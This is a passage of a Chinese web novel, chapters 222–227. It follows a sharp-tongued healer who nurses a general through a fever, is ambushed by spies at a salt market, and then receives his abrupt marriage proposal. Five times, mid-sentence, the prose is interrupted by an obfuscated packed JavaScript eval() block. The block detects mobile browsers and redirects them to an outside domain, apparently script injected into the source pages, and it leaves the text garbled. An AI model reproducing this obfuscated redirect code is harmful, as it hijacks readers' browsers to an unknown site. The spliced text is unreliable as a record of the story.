你醒了?姜绾歌惊喜地说,感觉怎么样?还疼吗? 厉战霆有些迷茫地看着她,然后看了看自己握着她的手,脸上闪过一丝尴尬:我......这是在做什么? 你昏迷的时候一直抓着我的手不放,姜绾歌解释道,我怕挣脱了会让你更难受,就没动。 对不起,厉战霆连忙松开手,我不是故意的。 没关系,姜绾歌活动了一下被握得发麻的手,你刚才一直在说梦话,叫什么姐姐。 厉战霆的脸色瞬间变得复杂,眼中闪过一丝痛苦:姐姐......她已经不在了。 节哀,姜绾歌不知道该说什么安慰的话。 她没有死,厉战霆苦笑,是**人掳走了,到现在也不知道是死是活。 什么时候的事? 我八岁那年,厉战霆缓缓地说,胡人南下劫掠,我们全家都被冲散了。姐姐为了保护我,**人带走了。从那时起,我就发誓要变强,强到足以保护所有重要的人。 姜绾歌听了,心中更加复杂。难怪这个男人如此拼命地练武,如此执着地杀胡人,原来心中一直背负着这样的痛苦。 你的伤还需要几天才能完全好,她转移话题,这几天最好别乱动,好好休息。 多谢你,厉战霆认真地看着她,如果不是你,我可能就**。 少废话,记得付诊金就行,姜绾歌装作不在意,对了,答应给你的三箱金疮药已经制好了,一会儿就让人送过来。 这么快?厉战霆有些意外。 老娘说到做到,从不拖延,她得意地说,这批金疮药用的是漠北紫草,药效比以前强一倍。 看着她骄傲的样子,厉战霆心中涌起一阵暖流。这个女人表面泼辣,实际上却很关心他,连药都加了料。 姜绾歌,他忽然开口,谢谢你陪了我一夜。 谁陪你了?姜绾歌脸一红,老娘是在看护病人,这是医者的职责! 虽然嘴上这么说,但她心中也承认,昨晚确实有些特别。看着厉战霆在痛苦中呼唤姐姐的样子,她心中涌起了一种想要保护他的冲动。 这种感觉很奇怪,但并不讨厌。 不管怎样,我记住你的好了,厉战霆认真地说,以后有什么需要帮助的地方,尽管开口。 那倒不用,老娘自己能应付,姜绾歌收拾好药箱,我先回去了,记住按时换药,不要碰水。 我送你,厉战霆想要起身。 躺好!姜绾歌没好气地按住他,还想不想要这条命了?老老实实躺着养伤! 看着她凶巴巴的样子,厉战霆忍不住笑了。这个女人真是......很特别。 姜绾歌从将军府回到杏林堂时,天色已经大亮。虽然一夜未眠,但她心中还是牵挂着厉战霆的伤势,总觉得有些不踏实。 东家,您回来了!阿福看到她风尘仆仆的样子,连忙迎上来,将军的伤怎么样? 暂时稳定了,不过还需要观察几天,姜绾歌疲惫地揉了揉太阳穴,石头,你去准备一些退烧的药材,我担心他的烧还会反复。 是!姐姐!石头立刻去办。 姜绾歌刚想回房休息,门外又传来急促的马蹄声。她心头一跳,该不会是厉战霆的伤势又恶化了吧? 果然,是将军府的副将又来了,脸色比上次更加焦急。 姜大夫!将军又开始发烧了,而且比昨夜还厉害!副将焦急地说,您快去看看吧,军医们都束手无策了! 什么?姜绾歌立刻清醒了,怎么会这样?刚才不是还好好的吗? 也不知道怎么回事,将军醒来后就一直心神不宁,说什么要找个什么东西,然后突然就开始发高烧,现在人都有些神志不清了! 姜绾歌心中暗叫不妙。箭伤引起的高烧最容易反复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174186|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而且一旦烧坏了脑子,就算保住命也可能留下后遗症。 走!马上回去!她抓起药箱,顾不上疲劳,再次跟着副将赶往将军府。 到了将军府,情况比她想象的还要严重。厉战霆躺在床上,脸烧得通红,嘴里不停地说着胡话,整个人显得极其痛苦。 姐姐......笛子......我的笛子呢......他双手在被子上胡乱摸索着,笛子不见了......姐姐会生气的...... 将军一直在找什么笛子,老军医在一旁无奈地说,我们翻遍了房间都没找到,也不知道他说的是什么。 姜绾歌走到床边,仔细观察着厉战霆的状态。他的体温比昨夜更高,额头烫得惊人,而且呼吸急促,明显是高烧引起的谵妄。 都出去,我要重新检查一遍,她对房间里的人说道。 等所有人都出去后,姜绾歌开始仔细检查厉战霆的身体。当她解开他的内衣时,发现刚才那个绣着姜字的药包还在,但旁边还有一个她之前没注意到的东西。 那是一支小小的笛子,用鹰骨制成,通体呈淡黄色,上面还有一些暗红色的斑点,看起来像是血迹。笛子很旧,表面已经被摩挲得光滑如玉,显然经常被人触摸。 原来他找的是这个,姜绾歌小心地取出那支笛子。 笛子不大,只有半尺来长,做工很精细,上面还雕着精美的花纹。虽然已经很旧了,但依然能看出原本的精美。最重要的是,这支笛子明显对厉战霆很重要,否则他不会贴身携带。 笛子......我的笛子......厉战霆似乎感应到了什么,伸手在空中抓取着,姐姐......姐姐给我的笛子...... 姜绾歌试探着将笛子放在他的手里。果然,厉战霆一摸到笛子,立刻紧紧地握住了,整个人也安静了一些。 姐姐......真的是你给我的吗?他的声音虚弱但带着一丝喜悦,我还以为......还以为再也找不到了...... 第223章 傻子 看着他紧握着笛子的手,姜绾歌心中涌起一阵复杂的情绪。这支笛子一定是他姐姐留给他的遗物,对他来说比命还重要。 她重新为厉战霆施针退烧,然后在床边的椅子上坐下,准备守夜观察他的情况。 姐姐教我吹笛子......厉战霆在昏迷中轻声呓语,说这样就能召唤天上的鹰......把坏人都赶走...... 我每天都练习......想要吹出最好听的曲子......他的声音中带着童真,仿佛又回到了那个无忧无虑的年代,姐姐说我很有天赋...... 姜绾歌听着这些断断续续的话,心中更加确定了自己的猜测。这支笛子确实是他姐姐留下的,而且承载着他童年最美好的回忆。 胡人来了......厉战霆的声音忽然变得惊恐,好多胡人......他们要抢我们的东西...... 姐姐说要保护好笛子......这是我们家传的宝贝......他紧紧地抱着笛子,不能让胡人抢走...... 姐姐!姐姐!他突然大喊起来,声音中充满了绝望,不要走!不要丢下我! 厉战霆的情绪变得激动起来,在床上不停地翻滚,伤口又开始渗血。姜绾歌连忙起身按住他,防止他撕裂伤口。 姐姐......为什么不要我了......他痛苦地呜咽着,是不是我不够乖......是不是我没有保护好笛子...... 看着他这副痛苦的样子,姜绾歌心中一软。她不自觉地伸出手,轻轻地抚摸着他的额头,想要给他一些安慰。 别怕,没事的,她轻声说道,虽然知道他听不见,但还是忍不住安慰,不会有人抢走你的笛子的。 奇妙的是,在她的轻抚下,厉战霆真的安静了一些。他的呼吸渐渐平稳,紧皱的眉头也慢慢舒展开来。 姐姐......真的是你吗?他虚弱地问道,同时无意识地抓住了姜绾歌的另一只手,我好想你...... 姜绾歌被他突然抓住手,本想挣脱,但看到他因为握住她的手而安静下来的样子,最终还是没有动。 我练武......变得很强......厉战霆继续呓语,这样就能保护姐姐了......再也不会让人欺负我们了...... 我杀了好多胡人......他们都怕我......他的声音中带着一丝得意,姐姐看到了吗?我变强了...... 听着这些话,姜绾歌心中五味杂陈。这个在战场上威风凛凛的将军,原来一直活在失去姐姐的阴影中,他拼命变强,拼命杀敌,都是为了证明自己有能力保护重要的人。 可是......可是姐姐还是没有回来......厉战霆的声音变得悲伤,是不是我还不够强?是不是我做得还不够好? 姐姐......你在哪里?他紧紧地握着姜绾歌的手,仿佛在握着生命中最重要的东西,我会继续变强的......我会找到你的...... 姜绾歌看着他痛苦的表情,忍不住用另一只手轻轻地为他擦拭额头上的汗珠。她的动作很轻柔,生怕弄疼了他。 在她的细心照顾下,厉战霆的高烧终于开始退去。他的呼吸变得平稳,脸色也不再那么通红。 姐姐......你不会再离开我了吧?他依然紧握着姜绾歌的手,声音中带着孩子般的恳求,我会好好保护笛子的......我会成为最厉害的人...... 我不会让任何人伤害重要的人了......他的声音越来越轻,绝对不会...... 姜绾歌听着他这些话,心中涌起一阵酸楚。这个男人表面上坚强如铁,但内心深处还住着一个失去姐姐的孩子,承受着常人无法想象的痛苦。 夜渐渐深了,厉战霆的情况总算稳定下来。姜绾歌坐在床边,看着他安静的睡颜,心中说不出是什么感觉。 真是个傻子,她轻声自语,一个人承受这么多痛苦。 她看着他手中紧握的那支鹰骨笛,想象着当年那个小男孩跟着姐姐学吹笛子的场景。那该是多么温馨的画面啊,可惜后来被战争无情地撕碎了。 你姐姐如果还活着,看到你现在的样子,一定会很心疼的,她轻声说道,她教你吹笛子,是希望你快乐,不是希望你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184416|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活在痛苦中。 虽然厉战霆听不见她的话,但姜绾歌还是继续说下去,仿佛这样能传达给昏迷中的他一些安慰。 你已经很强了,比任何人都强,她用手轻抚着他的额头,你保护了那么多人,也保护了这支笛子,你姐姐一定会为你骄傲的。 不知道为什么,看着厉战霆脆弱的样子,她心中涌起一种想要保护他的冲动。这种感觉很奇怪,因为在她眼中,厉战霆一直是个强大的战士,不需要任何人的保护。 但现在她才发现,再强大的人,内心深处也有柔软的角落,也需要温暖和关怀。 天色渐亮,厉战霆的烧彻底退了。姜绾歌趴在床边打起了盹,一只手还被他紧紧握着。 唔......厉战霆缓缓睁开眼睛,第一眼就看到了趴在床边睡着的姜绾歌。晨光透过窗棂洒在她的脸上,让她看起来格外安静美好。 他这才发现自己一直握着她的手,而她的另一只手正轻抚在他的额头上,即使在睡梦中也没有收回。 姜绾歌......他轻声呼唤。 姜绾歌听到声音,迷迷糊糊地睁开眼:你醒了?感觉怎么样? 好多了,厉战霆看着她疲惫的样子,心中涌起一阵愧疚,你又陪了我一夜? 谁陪你了?姜绾歌脸一红,连忙收回手,老娘是在观察病情! 虽然嘴上这么说,但她心中也承认,昨夜确实有些不一样。看着厉战霆在痛苦中呼唤姐姐的样子,她心中生出了一种前所未有的柔软情绪。 谢谢你,厉战霆认真地说,我知道你很累,但还是陪着我。 少废话,快看看你的宝贝笛子,姜绾歌转移话题,指着他手中的鹰骨笛,昨夜你一直抓着不放。 厉战霆低头看着手中的笛子,眼中闪过一丝复杂的情绪:这是姐姐留给我的,唯一的纪念。 我猜到了,姜绾歌点点头,你昨夜一直在呓语,说的都是关于这支笛子的事。 我说了什么?厉战霆有些紧张地问。 没什么,就是一些童年的回忆,姜绾歌没有详细说明他的痛苦,你姐姐教你吹笛子的事。 第224章 盐市遇险 厉战霆沉默了片刻,然后说道:姐姐说这支笛子能召唤天上的鹰,把坏人都赶走。虽然只是哄小孩的话,但我一直相信着。 说不定是真的呢,姜绾歌安慰道,你看,你不是就把那些胡人都赶走了吗? 厉战霆看着她,眼中闪过一丝温暖:也许吧。至少现在,我有能力保护重要的人了。 他说这话时,目光一直看着姜绾歌,让她心中一跳。 行了,煽情的话就别说了,她装作不在意地站起身,你的伤还需要几天才能好全,这几天老实点,别再胡来了。 我听你的,厉战霆笑着说道。 看着他的笑容,姜绾歌心中涌起一阵暖流。这个男人虽然经历了那么多痛苦,但依然能够如此坚强地活着,确实令人敬佩。 那我就先回去了,她收拾好药箱,记得按时吃药,按时换药。 嗯,厉战霆点头,姜绾歌...... 怎么了? 没什么,就是想说......谢谢你。 姜绾歌看着他认真的表情,心中再次涌起那种复杂的情绪。 谁要你谢?记得付诊金就行,她故作凶狠地说,然后头也不回地走了。 但厉战霆看得出来,她的耳根红了。 厉战霆的伤势稳定后的第三天,姜绾歌正在杏林堂里整理漠北带回来的药材,忽然收到一条令她心惊的消息。 东家,有人来报信,阿福神色凝重地走进来,说是发现了敌国细作的踪迹。 敌国细作?姜绾歌放下手中的紫草,在哪里发现的? 城西的盐市,阿福压低声音,听说有胡人在那里收购大量的盐巴,数量大得惊人,肯定不是正常买卖。 姜绾歌眉头紧皱。盐巴在这个时代是战略物资,大量收购盐巴的目的只有一个——腌制肉干,为长途行军做准备。如果胡人真的在暗中收购盐巴,那说明他们很可能在策划新的军事行动。 消息可靠吗?她问道。 是石头打听来的,应该不假,阿福回答,那些胡人很谨慎,都是晚上才出现,而且每次都换不同的人。 姜绾歌在房间里来回踱步,脑中快速分析着这个消息的价值。如果能抓到这些细作,不仅能立功,还能从他们嘴里套出敌军的计划。 阿福,你去准备一套商人的衣服,她做出决定,今晚我要亲自去盐市看看。 东家!阿福吃了一惊,那太危险了!万一被发现了怎么办? 危险?姜绾歌冷笑,老娘什么风浪没见过?几个胡人细作还能把我怎么样? 可是...... 别可是了,就这么定了,姜绾歌挥手打断他,记住,给我准备一套最普通的商人装束,还要一些样品盐巴做掩护。 当夜,姜绾歌换上了一套粗布衣裳,头上包着头巾,完全是个普通盐商的打扮。她腰间藏着一把精致的**,还有几包**,这些都是防身用的。 小姐,要不我跟您一起去?石头担心地说。 不用,人多了反而容易暴露,姜绾歌摇头,你们在家等着,如果我天亮前还没回来,就去找厉将军报信。 城西的盐市位于京城边缘,平时人烟稀少,到了夜里更是漆黑一片。姜绾歌提着一个装着盐巴样品的包袱,小心翼翼地摸进了市场。 盐市里很安静,大部分摊位都已经关门,只有几个角落里还有微弱的灯光。姜绾歌找了个隐蔽的位置蹲下,开始观察周围的情况。 等了大约一个时辰,终于有了动静。几个穿着汉人服装但行动鬼祟的人出现在市场里,他们说话的声音很低,但姜绾歌听力很好,隐约能听出一些胡语的腔调。 就是他们,她心中一定。 那几个可疑的人走到一个盐商的摊位前,开始和摊主讨价还价。从他们的手势来看,要买的数量确实很大。 姜绾歌悄悄靠近,想要听清楚他们的对话。就在这时,一个意外发生了——她脚下踩到了一块松动的石头,发出轻微的声响。 虽然声音很小,但那几个胡人显然训练有素,立刻警觉地看向她的方向。 糟了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184417|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜绾歌心中暗叫不妙,连忙低头装作整理货物的样子。 你是什么人?其中一个胡人走了过来,用生硬的汉语问道。 我......我是卖盐的,姜绾歌故意压低声音,模仿男人的腔调,听说这里有人要大量收购盐巴,所以过来看看。 那个胡人打量着她,眼中满是怀疑:你有多少货? 不多,就几百斤,姜绾歌从包袱里取出一小袋盐巴,都是上等的井盐,您看看成色。 胡人接过盐袋,仔细检查了一下,点点头:成色不错,我们全要了。 真的?姜绾歌装作惊喜的样子,那太好了!不过我的货不在这里,需要回去取。 那你去取,我们在这里等着,胡人说道。 姜绾歌心中暗暗盘算。这些胡人明显很谨慎,她必须想办法套出更多信息,或者找机会报信给官府。 好的,我这就去取货,她转身准备离开,不过能不能先付点定金?这么大的买卖,总得有个保障。 定金?胡人眼中闪过一丝警觉,你想要多少? 不多,就十两银子,姜绾歌伸出手,这也是规矩嘛。 就在胡人准备掏银子的时候,姜绾歌忽然听到远处传来脚步声,而且不止一个人。她心头一跳,难道是巡逻的官兵? 那几个胡人显然也听到了脚步声,立刻紧张起来。为首的胡人恶狠狠地看着姜绾歌:你报的信? 什么报信?我不知道你在说什么!姜绾歌连忙否认,但心中已经开始准备逃跑了。 杀了她!为首的胡人突然下令。 话音刚落,几个胡人同时抽出了腰间的弯刀,朝姜绾歌扑了过来。姜绾歌早有准备,身形一闪,避开了第一刀,同时从怀中取出**反击。 想杀老娘?做梦!她一刀刺向最近的胡人,同时大声喊道,有胡人细作!快来人啊! 盐市里顿时乱成一团。那些胡人见事情败露,也不再隐藏身份,开始疯狂地攻击姜绾歌。她虽然身手不错,但毕竟势单力薄,很快就落了下风。 第225章 脸红了 该死的!这么多人!她一边躲避一边咒骂,手臂已经被砍了一刀,鲜血直流。 就在她快要支撑不住的时候,远处传来马蹄声,紧接着是一阵响箭声。 是官兵!有胡**喊。 果然,厉战霆率领着一队骑兵冲进了盐市,长刀出鞘,寒光闪闪。 保护姜大夫!厉战霆一马当先,朝着**姜绾歌的胡人冲去。 看到援兵到来,姜绾歌心中大喜。但就在这时,一个胡人趁乱朝她射了一箭,箭矢直奔她的胸口而来。 小心!厉战霆大喊一声,纵马冲过来,试图挡在姜绾歌前面。 嗖!箭矢划破空气,但目标却不是姜绾歌,而是挡在她前面的厉战霆。箭矢狠狠地射进了他的左肩,鲜血瞬间染红了他的战袍。 厉将军!姜绾歌惊呼。 厉战霆闷哼一声,但没有停下攻击。他忍着疼痛,一刀砍倒了射箭的胡人,然后回头看向姜绾歌:你有没有受伤? 我没事,你的伤怎么样?姜绾歌看到他肩膀上的箭矢,心中又急又痛。 死不了,厉战霆咬牙说道,先解决这些胡人再说。 战斗很快就结束了。胡人细作死的死,逃的逃,只抓到了两个活口。厉战霆的手下开始清理现场,而姜绾歌则急忙上前查看厉战霆的伤势。 你这个傻子!她看着他肩膀上的箭矢,既心疼又生气,为什么要挡在我前面?你的伤才刚好! 习惯了,厉战霆苦笑,看到你有危险,身体比脑子反应更快。 别废话了,先找个地方把箭取出来,姜绾歌扶着他,这箭射得很深,必须马上处理。 周围都是官兵,不适合治疗。姜绾歌四下看了看,发现盐市边上有一间废弃的小屋,虽然简陋,但至少能遮风挡雨。 就在那里吧,她指着小屋,你能走到那里吗? 当然能,厉战霆强撑着站起来,这点小伤算什么。 虽然嘴上逞强,但姜绾歌能看出他疼得厉害。她扶着他慢慢走向小屋,心中满是自责。如果不是她要来查细作,厉战霆也不会受伤。 小屋很窄,只能勉强容纳两个人。姜绾歌让厉战霆坐在一堆干草上,然后开始检查他的伤势。 这箭射得真深,她皱着眉头,而且角度很刁钻,取出来会很疼。 疼就疼吧,总比留在里面强,厉战霆看着她专注的样子,心中涌起一阵暖流。 姜绾歌小心翼翼地切开他的衣服,露出伤口。箭矢斜着射入肩膀,箭头已经完全没入血肉中,只露出一截箭杆。 忍着点,她取出**,在火上烧了烧,我要扩大创口,不然箭头取不出来。 厉战霆咬紧牙关,任由她操作。烧红的刀刃切开血肉的瞬间,疼得他额头上冒出豆大的汗珠,但他硬是一声不吭。 好了,现在取箭头,姜绾歌用镊子夹住箭矢,这会更疼,你准备好了吗? 来吧,厉战霆点头。 姜绾歌深吸一口气,然后用力拔出箭矢。嗤的一声,箭头带着血肉拔了出来,鲜血瞬间涌出。 呼......厉战霆长长地呼了一口气,额头上的汗水滴在干草上。 最疼的已经过去了,姜绾歌连忙用布条压住伤口止血,现在包扎一下就好了。 在狭小的空间里,两人离得很近。姜绾歌专心致志地为他包扎伤口,完全没有注意到两人之间的暧昧气氛。 厉战霆看着近在咫尺的她,能闻到她发间淡淡的药香,能看到她认真工作时微皱的眉头,还有那双专注的眼睛。 好了,姜绾歌包扎完毕,抬头看向他,这几天不要乱动,伤口需要时间愈合。 就在她抬头的瞬间,两人的目光对上了。在昏暗的小屋里,在如此近的距离下,厉战霆能清楚地看到自己在她眼中的倒影。 你眼里有我的影子,他忽然开口,声音很轻,但在安静的小屋里听得很清楚。 姜绾歌的手一顿,耳根瞬间红了。这话说得太突然,太暧昧,让她不知道该如何回应。 你......你胡说什么?她慌乱地收拾着手中的绷带,老娘的眼里只有银子! 虽然嘴上这么说,但她的声音明显有些颤抖,脸也红得像朝霞。 厉战霆看着她慌乱的样子,心中涌起一种前所未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184418|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的温柔。这个平时泼辣得像只小老虎的女人,原来也有这样可爱的一面。 是吗?他轻笑,那我可能看错了。 当然看错了!姜绾歌站起身,背对着他整理药箱,你的伤还没好全呢,少胡思乱想! 好,我不胡思乱想,厉战霆答应得很痛快,但眼中的笑意却更浓了。 外面传来脚步声,是厉战霆的手下在寻找他们。姜绾歌如蒙大赦,连忙走向门口:将军,你的手下找你呢,咱们出去吧。 嗯,厉战霆起身跟在她后面,但嘴角始终挂着淡淡的笑意。 走出小屋后,姜绾歌的心情才平静了一些。刚才那一刻,她确实被厉战霆的话弄得心跳加速,这种感觉很陌生,也很危险。 将军!副将看到厉战霆出来,连忙迎上前,您的伤怎么样? 没什么大碍,姜大夫医术高明,厉战霆看了姜绾歌一眼,对了,那些细作审问得怎么样? 已经招了,副将回答,果然是胡人派来的,想要收购大量盐巴为冬季的军事行动做准备。 冬季军事行动?姜绾歌皱眉,胡人想要在冬天进攻? 很可能,厉战霆点头,看来边境又不太平了。 姜绾歌心中一沉。如果胡人真的要在冬季发动攻击,那边境的战事又要起了。而厉战霆作为镇国将军,肯定又要领兵出征。 这次多亏了姜大夫,厉战霆对她说,如果不是你发现了细作,后果不堪设想。 我也是无意中发现的,姜绾歌摆手,再说了,要不是我鲁莽行事,你也不会受伤。 我们各取所需,厉战霆笑了,你立了功,我保护了你,很公平。 虽然话说得轻松,但姜绾歌心中还是很自责。她看着厉战霆肩膀上的绷带,心中暗暗发誓,以后一定要更加小心,不能再让关心她的人受伤了。 夜已经很深了,盐市的事件告一段落。厉战霆要回将军府处理后续事宜,而姜绾歌也要回杏林堂。 姜大夫,分别时,厉战霆忽然开口,谢谢你今晚为我包扎。 谁要你谢?记得付诊金就行,姜绾歌故作凶狠,但耳根又红了。 第226章 直球求娶亲 盐市遇险后的日子,厉战霆的箭伤在姜绾歌的精心调理下,愈合得很快。 那间狭小废弃小屋里的情景,却像烙印般刻在他脑海里——她专注为他处理伤口的侧脸,额角渗出的细密汗珠,还有那句带着嗔怒又难掩关切的“你这个傻子!”每每想起,心口就像被什么东西轻轻撞了一下,又麻又痒。 他依旧每日练兵、处理军务,只是去杏林堂“复诊”或“顺便路过”的次数明显增多。 有时是送些宫里赏赐的稀罕药材,有时是借着询问边境药材储备的由头。 姜绾歌对他的态度倒是一如既往,该收钱收钱,该扎针扎针,绝不含糊。 她似乎完全将小屋里的那点暧昧情愫抛在了脑后,一门心思扑在她的“商业帝国”上:杏林堂名声日隆,琉璃坊的订单如雪片般飞来,醉仙楼的新菜式更是引得食客如云。她像一只不知疲倦的陀螺,在金钱的漩涡里高速旋转,眼神亮得惊人,那是对财富和掌控力的纯粹渴望。 厉战霆看着她忙碌的身影,心头那股说不清道不明的情绪却越发汹涌。 他欣赏她的独立、坚韧,甚至欣赏她锱铢必较的“财迷”样,觉得鲜活又真实。但更让他心头悸动的,是盐市事件里她那份临危不乱的勇气和敏锐的洞察力。 他发现自己开始不自觉地留意她的一举一动,目光总会追随着她。 就在这份心思悄然滋长之时,震动朝野的税银案爆发了。 厉战霆作为镇国将军,负有拱卫京师、稽查不法之责,自然也深度参与了案件的侦办。 而让他万万没想到的是,姜绾歌的名字,竟以一种极其耀眼的方式,再次闯入了他的视野,甚至成了破局的关键。 案情错综复杂,涉及户部高官、地方豪强乃至隐秘的江湖势力,线索如同乱麻。 朝廷派出的几拨密探都折戟沉沙。就在调查陷入僵局,皇帝震怒,厉战霆也倍感压力之际,一份由特殊渠道呈递上来的密报,宛如一道惊雷劈开了迷雾。 密报条理清晰,证据链环环相扣,不仅精准锁定了关键人物,更直指税银被贪墨、转移、洗白的核心路径和藏匿地点! 其布局之精妙、时机拿捏之精准,对人性弱点和官场规则的利用之娴熟,令久经沙场、深谙谋略的厉战霆都叹为观止。 当密报的署名最终确认是“姜绾歌”时,厉战霆站在御书房外,握着那份沉甸甸的奏报,内心掀起了惊涛骇浪。 他回想起盐市细作案中她的敏锐,再看着眼前这份足以左右朝局、翻云覆雨的周密计划,一个认知无比清晰地浮现:这个女人,绝非仅仅是医术高明、善于经商那么简单! 她拥有着不逊于任何朝堂老狐狸的智计和胆魄,那份在生死边缘和权力漩涡中淬炼出的心智,冷静得可怕,也强大得耀眼。 税银案最终在姜绾歌提供的核心线索指引下,以雷霆之势收网,主犯伏诛,巨额赃款被追回。 朝廷上下震动,姜绾歌的名字虽未明示于诏书,但在核心圈层已悄然传开,成了某种“深不可测”的代名词。 厉战霆作为全程参与者,感受最为深刻。 他亲眼看着她是如何以局外人的身份,却精准地拨动了整个朝堂最敏感的神经。那份举重若轻、翻手为云覆手为雨的手段,让他在震撼之余,心头那股压抑已久的情感如同地火找到了喷薄的出口。 漠北初遇时她救治伤兵的身影,盐市小屋疗伤时近在咫尺的呼吸与药香,还有此刻她展现出的、足以与他并肩甚至在某些方面超越他的惊人智谋…… 所有这些画面在她成功助力解决税银案的那一刻,轰然汇聚,猛烈地冲击着厉战霆的心防。 初冬的京城,寒风萧萧,但厉战霆的心中却如有烈火在燃烧。 税银案的风波刚刚平息,他亲眼目睹了姜绾歌在这场**漩涡中的手段——环环相扣的布局,精准无误的时机掌控,还有那种举重若轻的智计。这个女人,不仅医术高明,更有着让他叹服的谋略头脑。 该死的,这女人......他在将军府的院子里来回踱步,脚下的落叶被踩得咯吱响,越看越让人......让人想要娶回家! 那份在漠北戈壁便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184419|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄然滋生的悸动,如同野火燎原,再也按捺不住。他厉战霆行事向来直来直往,不屑那些文绉绉的弯弯绕绕。既然心动了,那就直接行动! 来人!他大声喊道。 将军!亲兵立刻跑过来。 去库房,把那箱足金元宝搬出来!厉战霆咬牙切齿,老子要去提亲! 亲兵们面面相觑,但不敢违抗,乖乖地抬出了一个沉甸甸的红木箱子。箱子里装着整整齐齐的金元宝,每一个都有拳头大小,在阳光下闪着诱人的光芒。 将军,这......亲兵小心翼翼地问,您确定要这样去提亲吗? 废话!厉战霆瞪眼,老子就是这样的人!直接了当,不搞那些虚头巴脑的! 说完,他亲自扛起沉重的红木箱子,大步流星地朝杏林堂走去。 杏林堂内,姜绾歌正在配制一种特殊的药物。她穿着一件淡青色的袍子,袖子挽到手肘,露出白皙的手腕。桌案上摆着精密的药秤,她正全神贯注地称量着**粉末。 这是她最新研制的假死药,能让人在短时间内停止呼吸和心跳,但并不会真正死亡。在这个尔虞我诈的时代,这种药物有着特殊的用途。 三钱**,配半斤绿豆粉......她一边称量一边念叨,手腕稳如磐石,时间掌控是关键,差一分都不行...... 就在这时,门外传来沉重的脚步声,紧接着是咚的一声巨响! 整个杏林堂都震了一下,药秤上的**粉末都跳了跳。姜绾歌皱了皱眉,但手上的动作没有停,依然精准地将最后一点粉末倒入药包。 姜绾歌!厉战霆的声音如洪钟般响起,带着战场上特有的斩钉截铁,我要娶你!这些是聘礼! 话音落下,红木箱子的盖**开,里面码放整齐、金光灿灿的足金元宝瞬间晃得人眼花。围观的伙计们都倒吸了一口凉气,这么多金子,足够普通人家用好几辈子了! 姜绾歌眼皮都没抬一下,继续慢条斯理地系着药包口。她的动作优雅而从容,仿佛刚才那石破天惊的求婚声明和满箱子的金元宝都不存在。 第227章 被顾云霁调侃 厉将军,她终于抬起头,目光平静地扫过那箱黄金,最后落在厉战霆那张因紧张和期待而微微泛红的刚毅脸庞上,你可知,三钱**配半斤绿豆粉,熬成糊状服下,能让人脉象全无、气息断绝,如同真死? 厉战霆愣住了,完全没料到她会说这个。 半个时辰后灌下浓盐汤即可解毒,姜绾歌拿起刚包好的药包,在手中掂了掂,你这箱金子,够买三百斤上好的**了。将军若想体验假死脱身,民女现在就能配给你。 这话说得云淡风轻,但听在厉战霆耳中却如晴天霹雳。他满腔热血瞬间被这盆冷水浇得透心凉,脸憋得更红了。 我不是来跟你谈这些生意的!他急道,声音都有些发颤,我是真心求娶!我厉战霆此生非你不娶!这辈子...... 打住。姜绾歌干脆利落地打断他,将手中的药包不由分说地塞进他怀里,你的真心,比漠北的风沙还烫人,可惜我消受不起。拿着,这是新配的活血化瘀散,按时敷用。 她的语气带着不容置疑的驱赶意味,转身就去整理另一堆药材,仿佛刚才那场惊世骇俗的求婚从未发生过。 伤筋动骨一百天,将军的箭伤还没好利索吧?别杵在这儿耽误我制药救人了,快回去养着! 